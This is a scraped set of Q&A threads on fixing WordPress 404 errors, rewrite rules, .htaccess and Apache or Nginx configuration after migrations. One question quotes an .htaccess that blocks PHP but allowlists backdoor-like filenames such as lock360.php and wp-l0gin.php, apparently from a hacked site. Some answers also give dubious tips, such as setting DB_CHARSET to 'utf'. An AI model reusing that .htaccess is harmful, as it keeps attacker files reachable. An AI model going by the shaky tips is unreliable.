Wordpress add_rewrite_rule not working - wordpress

This may seem like a duplicate question, but I've read through as many SO posts with similar titles, and every one of them got much farther than I've been able to, so it seems that I must be doing something basic wrong, but I have no idea what it is. That said, here's my issue:
I'm following the steps in the 'Basic Usage' section of the add_rewrite_rule documentation page, making sure to flush and regenerate rewrite rules.
I've got a page with an id of 68, and I want to redirect this:
http://localhost.test.wordpress/leaf/68
to this:
http://localhost.test.wordpress/index.php?page_id=68
I have verified that the latter does exist, and that I can navigate to it directly.
So in my theme's functions.php file, I wrote the following:
function custom_rewrite_basic() {
add_rewrite_rule('^leaf/([0-9]+)/?', 'index.php?page_id=$matches[1]', 'top');
}
add_action('init', 'custom_rewrite_basic');
And then I went to the Settings -> Permalinks section of my WP admin panel and hit 'Save Changes' with no changes, as the docs page directs me to do.
The problem I'm running into is that when I navigate to http://localhost.test.wordpress/leaf/68, I get a 404 error. Clearly, the docs indicate that this should not be happening, and none of the other SO posts I've seen have had this problem (they get past this step and run into difficulty in some other aspect of the redirect).
The redirect code I put in functions.php is an exact copy/paste from the docs page, and yet because of the 404, I'm led to believe that no WP code is being run at all. Can you let me know what I'm doing wrong? I'm completely new to WP.

If the site doesn't seem to be respecting changes you make to the .htaccess file, you should make sure that the <VirtualHost> configuration explicitly gives the .htaccess files permission to override certain configurations.
In your <VirtualHost> entry there should be a <Directory> entry as well. You'll need to add the AllowOverride All command to it, like this:
<Directory /path/to/your/web/document/root>
AllowOverride All
Require all granted
</Directory>
Also, if the site isn't respecting your Rewrite commands, you should make sure to check your httpd.conf to see if the mod_rewrite module is loaded. Look for a line similar to this:
LoadModule rewrite_module libexec/apache2/mod_rewrite.so
If it is commented out with a #, uncomment that line (remove the #) and then restart your apache.

Based on your supplemental answers in the comments, your .htaccess doesn't sound like it's setup properly (getting server 404 page instead of WP 404). Add the following to your .htaccess file:
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
This redirects (almost) every request to index.php, to be processed by WP internally. This needs to be set up properly for your rewrite rules to be processed by WP.

Related

Admin links shows 404 WordPress

After successful login, I can't access any of the page (I can't create new post, I can't edit post, I can't create page, I can't access any page on the left sidebar) on the admin panel, they all show 404 error. I have checked the .htaccess but it's alright. I can't access the permalink page cause it will show 404 error.
All these were working till when I tried accessing it yesterday.
.htaccess file
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
#BlackPearl i tried to reach out, several times, and help you debug your your website but you didn't respond back. I was going to help you avoid going through the "shotgun approach" and trying every possible combination that you either find online or people throw at you.
Anyway, speaking from experience, this would usually happen due to one primary reason, and that is obsolete themes and/or outdated plugins. Obsolete themes and plugins would loose their compatibilities with newer versions of wordpress over time and cause all sorts of nasty errors. Sometimes this happens because servers and host companies migrate to a newer version of PHP which doesn't support those outdated themes and plugins functionalities.
having said that, i'd try to do the following steps to debug it:
First thing i'd try is to switch themes. I'd switch my current theme to one the wordpress default themes.
In your wp-config.php try to change your "DB_CHARSET" to only "utf".
Sometimes files get corrupted for some reasons, so try to see if the index.php file located in your wordpress core root folder has the proper content. Not the one in the root folder of your theme, the other one that is located in the same directory as the wp-admin folder is located.
Try to clear your WordPress cache. If you are using one of the caching plugins on your site, then clear your plugin cache.
See if there are extra spaces at the top and/or at the bottom of your functions.php file. If so, then remove those extra spaces.
Try to increase your memory limit, specially if your wordpress site uses graphical/image related plugins.
In your wp-config.php file, define( 'WP_MEMORY_LIMIT', '256M' );
Make sure your /wp-admin/ folder doesn't contain any .htaccess files
Delete, if there is any.
If the problem persists...
Make sure the mod_rewrite is enabled
How to check whether mod_rewrite is enable on server?
Enable the mod, restart apache.
If the problem persists...
Check if .htaccess is allowed in Apache config
Go find your Apache config
Make sure the AllowOverride directive is set to All and within <Directory /var/www/your/dir/where/wp/is>:
Remember to restart Apache.
If the problem persists...
Delete .htaccess and reset permalinks
Go to /wp-login.php and login.
Settings -> Permalinks -> Save. (WP will automatically recreate your .htaccess again).
If you cannot get to the permalinks page do it programmatically, add the snippet to functions.php:
add_action( 'init', function () {
flush_rewrite_rules( true );
}, 99 );
Refresh the page... Now your .httacces is recreated. Remove the code from functions.php.
if the problem persists...
Try disabling plugins.
Rename the folder wp-content/plugins to _plugins, for example.
Refresh the page. Now your plugins are disactivated.
If the problem is gone, enable plugins 1 by 1 until the problem occurs again. That's how you find the faulty plugin.
I see you are denying php files. If you have plugin that is overwriting your htaccess file disable it. Or edit current htaccess file and change
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
to
<FilesMatch ".(py|exe)$">
Order allow,deny
Deny from all
</FilesMatch>
If you still cant access your website replace current htaccess with default one for testing.
# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
I would disable all plugins by renaming their folders using ftp (or ssh). That way you can rule out the plugins being an issue. If that fixes the problem, turn the plugins back on one by one until it breaks. Then, if you post the name of that plugin you (we) can look through its code and see what's going on.
Within your admin control panel, go to Tools -> Site Health. Look for problems there that may indicate what the problem is.
Sometimes, for example, you'll see that the REST API has an error. This happens when a plugin or theme has incorrect code which breaks the proper response for an API call. This breaks editing things like Pages/Posts/other Custom Post Types.
To resolve, try disabling all your themes. A quick way to do this to SFTP into your server and rename the wp-content/plugins directory to something like plugins-renamed. Then reload any admin page. Then rename it back. All of your plugins will be disabled and you can re-enable them one at a time, while checking the Site Health page to see if the problem returns.
Also try activating a different theme to see if that fixes it.
I think,You have been hacked.
Check config file it must have some gibberish code which breaks php execution.
Restore your database or atleast check it.
check how many users you have. Do you have any user as admin. Try login with that user.
Check your files. Try to restore from backup.
Check your unix files setting may be some file s need execute permission.
https://www.malcare.com/blog/wordpress-file-permissions/
Upgrade your php version to the latest version and it will kick back to life. WordPress can get glitchy when you're not using the supported version of PHP.
PHP requirements for WordPress
In my case, just the WordPress Plugins page was displaying a 404, and other pages I tried worked fine. It turned out the permissions for the file wp-admin/plugins.php were set to 666 whereas nearly all other files had 644 permissions. Changing the permissions to 644 fixed the issue. I did this using the cPanel File Manager.
A 404 error indicates that your browser can’t locate the page you’re trying to access. The exact message can look a bit different depending on the browser you’re using. The first step to try is resetting your permalinks. Head to your WordPress dashboard and navigate to Settings > Permalinks. From here, just click on Save Changes. That’s right — you don’t actually need to edit anything. Clicking that button will update the permalink settings even if you don’t make any changes.

After WordPress migration only home page loads everything else returns a 404

Getting started with a droplet on Digital Ocean, so far it's been a fun process. Now I want to begin migrating my site, so I set everything up and created an index.php to where to my root dir as a "construction" page for now. I'm setting up WordPress in a sub-dir and moved all of the contents via all-in-one WP Migration which has always worked perfectly for me.
I've given every dir and file inside of root/public_html (WordPress installation) rwx and atm ownership has been changed to www-data. So I got to loadup my site which atm would be something like <ip address>/public_html and I log in and I am propmted with the wp-admin screen. Everything is working, media files are uploaded, theme is there etc.
When I go to my home page, all the images load but I immediately notice the admin bar at the top, the wp-glyphs aren't loading and I'm getting those weird squares when your computer/phone doesn't know what it's trying to look at. Also any front-end page other than my home returns a 404. My homepage again is accessed by <ip address>/public_html so you would think my about page would be <ip address>/public_html/about, which is where WordPress is sending me to when clicked, but I receive a 404.
I've spent probably 4-5 hours now trying to figure this out and eventually turned to a guide that walks you through it but nada so far.
Can anyone offer a suggestion?
EDIT
I'd like to add that I followed WordPress's instructions on modifying the .htaccess file. I'm assuming it goes in the subdirectory correct?
.htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /public_html/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /public_html/index.php [L]
</IfModule>
Just as a reference for myself and anyone who might stumble upon this.
Solution
The answer was that apache was not configured correctly to read .htaccess files. If you are experiencing the same problems and have set up your own VPS, go to apache.conf, etc/apache2/apache.conf and find the correct <Directory></Directory> directive that corresponds with your website directory. Inside you should see an option that reads AllowOverride None. Change this to AllowOverride All.
If this is not the solution for you, at least it's another step out of the way.
Are you able to access wp-admin
If yes then go to dashboard->setting->permalinks
and update the permalink and the problem solved
Access your dashboard by logging in wp-admin then access settings then permanent links, Change them to any of the provided styles save the change it again to your preferred one. This will work well.

WordPress Home Folder (Default) Issue

I've recently relocated a WordPress site to a new host. I followed the instructions from here and things seemed to go ok. However on the old host the installation was inside a sub-folder (news). On the new host I want it in the public_html folder. All files are up, I have made the appropriate changes to the wp_config file, I have edited the .htaccess file and removed any references to the old path, I have even gone into the wp_options table and made the url changes there.
However for some reason whenever I reference the index.php, it tries to point back to the old sub-folder location. I've looked in the wp-settings, wp-load files etc and for the life of me cannot find where the bad path information is.
I've gone to the wordpress.org site and several other sites, any help would be appreciated.
UPDATE: I deleted my wp_config file and the system asked me to setup, so I did. During the setup it recognized that the database was there, etc, and sent me to the login. I was able to login, looked at the settings, etc and they are all as they are supposed to be.
If I go directly to wp-admin or wp-login it lets me log in with no problem. however when I try to go to the site, nothing, however instead of showing the old url, it now shows a blank screen.
Thanks
First of all make sure that your whole database does not contain any references to the old installation otherwise some redirection may be active. For migrating your database nowadays you use the following tool to make sure that also serialized data does not contain any references to the old URL:
https://interconnectit.com/products/search-and-replace-for-wordpress-databases/
Can you reach your backend? If only the frontend does not work its probably a permalink problem update your permalinks by going to Settings -> Permalinks -> Save (Update)
Check your index.php and the index.php file from the main directory and also from the subdirectory if there any redirection is active
Do a search (and replace) for the content of all files within your WordPress installation and check for any possible hardcoded redirection
It MUST be one of those problems.
If still no success debug your WordPress installation step-by-step (with echo "reached"; die;) to find out WHEN the redirection is happening - important points to check:
index.php file
wp-config.php file
Action Hook 'init'
Action Hook 'template_redirect'
This might also be helpful: http://rachievee.com/the-wordpress-hooks-firing-sequence/
Check your .htaccess file.
You probably have something that looks like this(notice the subfolder):
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /subfolder/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /subfolder/index.php [L]
</IfModule>
# END WordPress
When you should actually have something that looks like this:
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
First although neither of the two posted answers solved the problem, they both were instrumental in helping me figure out what was wrong, so I voted each of them up.
Since I could log into the admin area, I knew things were pointing to the correct place. But I was still getting a blank page, well it turns out that somehow in the ftp transfer of the backup site to the server, the 'themes' folder didn't make it. Once I uploaded that folder, things are close to being back to normal.
Again, the advice I received helped me tremendously in troubleshooting this sucker. Thanks

Wordpress issue after migration

Have changed to a new server and have migrated a number of Wordpress sites. After migration, I found that the menu links were no longer working. The content is there however.
I deleted the htaccess file and changed the permalinks to the default setting 'plain'. That worked fine. However, now my website is working with menu links like domain.com/?page_id=29.
On the old server, I have always been using the format domain.com/post_name. So I deleted the htaccess file again and changed the permalink to post_name, but clicking on the link in the menu always gives me a 404 error. Checked a phpinfo() and mod_rewrite is enabled.
The htaccess file right now is:
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
How to get back working menu links when permalinks are set to postname?
On Linux, in order to relax access to the document root, you should edit the following file: /etc/httpd/conf/httpd.conf
In case you are on Ubuntu, edit the file /etc/apache2/apache2.conf (here we have an example of /var/www)
And depending on what directory level you want to relax access to, you have to change the directive
AllowOverride None
to
AllowOverride All
So, assuming you want to allow access to files on the /var/www/html directory, you should change the following lines from:
<Directory "/var/www/html">
AllowOverride None
</Directory>
to
<Directory "/var/www/html">
AllowOverride All
</Directory>
Reference Docs for you:
https://codex.wordpress.org/Using_Permalinks
I take it when you say the menu lnks stopped working again you mean to say that the link changes fine to the new permalink format of http://domain/post_name right?
If so you're issue lies in mod_redirect. Either in the .htaccess in the docroot (turning it on and having correct redirect rules) or it could in your apache web server config file. perhaps apache doesn't even have mod_redirect enabled. if it's a CPANEL server mod_redirect is likely to be enabled however.
Issue can be the path of the files as well. Do you migrate the account with same username and same path as of the old server ?
If path is different than the old server, take a mysql dump of the db, look for the path and change them to the correct new path.
If paths are same, then you could fix this issue by just resetting the permalinks i.e first change the permalinks to some other one than the current one and save and then immediately change back to old one which was in use earlier and then again save it. This have worked for me in past.

Wordpress Permalinks Not Staying

At various points of the day my WP permalinks keep breaking. When I'm using custom perms it works but then a few times during the day it just throws a Page Not Found. I fix it by setting perms to default, then back to custom and it works fine.
My Sys Admin can't figure it out. Hopefully a guru can lend some help?
The problem is indeed most-likely the sCategory Permalink plug-in (the one that gives you /%scategory%/. 404s are somewhat common. Go to Options | Permalinks page in Site Admin and click Save Changes to regenerate permalinks. They way to confirm this is to use WP-default permalinks to test behavior. If all is working well, it is the sCategory Permalink.
If this isn't working, publish your .htaccess and that will help us troubleshoot better.
I'd be suspicious of something that is periodically overwriting your .htaccess file. When you set the permalink options, it updates .htaccess. If those settings are being "lost", there might be another piece of software running on your site that is mucking with the .htaccess file and removing or overriding the WordPress settings.
It seems that something else is automatically changing your htaccess file and overwriting the permalink settings.
What bvandrunen suggested may work. If not, you could set the permalink settings to what you want and then immediately change the permissions of the htaccess file to prevent anything from modifying it. I would suggest using chmod 644.
Naturally, a better solution still would be to find the script which is modding your htaccess file and get rid of it... but this fix should at least keep your permalinks working!
Do the creation/modification dates of .htaccess change or not? Even if you see no visible changes in .htaccess?
Permlinks are stored in the wp_options table in option_id 34 . Check them and then check after the change takes place.
Delete the existing Permalink structure and set it to default.
Delete the current .htaccess file.
Purge your site cache.
Write a new .htaccess file like #bvandrunen suggested.
Create your new permalink structure again.
That should work.
You can try using the 'try_files' directive in the Nginx configuration file for your website:
a) Open the configuration file present at ‘/etc/nginx/sites-enabled/yoursite.conf’ or ‘/etc/nginx/conf.d/default.conf’
b) Then add the following lines under the location / block:
try_files $uri $uri/ /index.php?$args;
c) It should look like:
location / {
root /var/www/html;
index index.php index.html index.htm;
try_files $uri $uri/ /index.php?$args;
}
You may also check out WordPress custom permalinks and Nginx for detailed information.
I would have to agree with #ahockley since I had this exact same problem with my WordPress blog. Which is happening is that the .htaccess file is getting overwritten and then when you set it to custom and then back to default it corrects itself for a while. What I had to do was something like this: (this is the default)
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
Change to:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# BEGIN WordPress
# END WordPress
Once I moved the # BEGIN Wordpress out of the blocks the problem stopped. Hope this helps
.htaccess wasn't uploaded with my build!!!
A stupid mistake in my build process!
You may want to check server limits. We had this issue when MySQL was running out of space. When in your SSH, use
df -h
to list files and see if anything has run out of space

Resources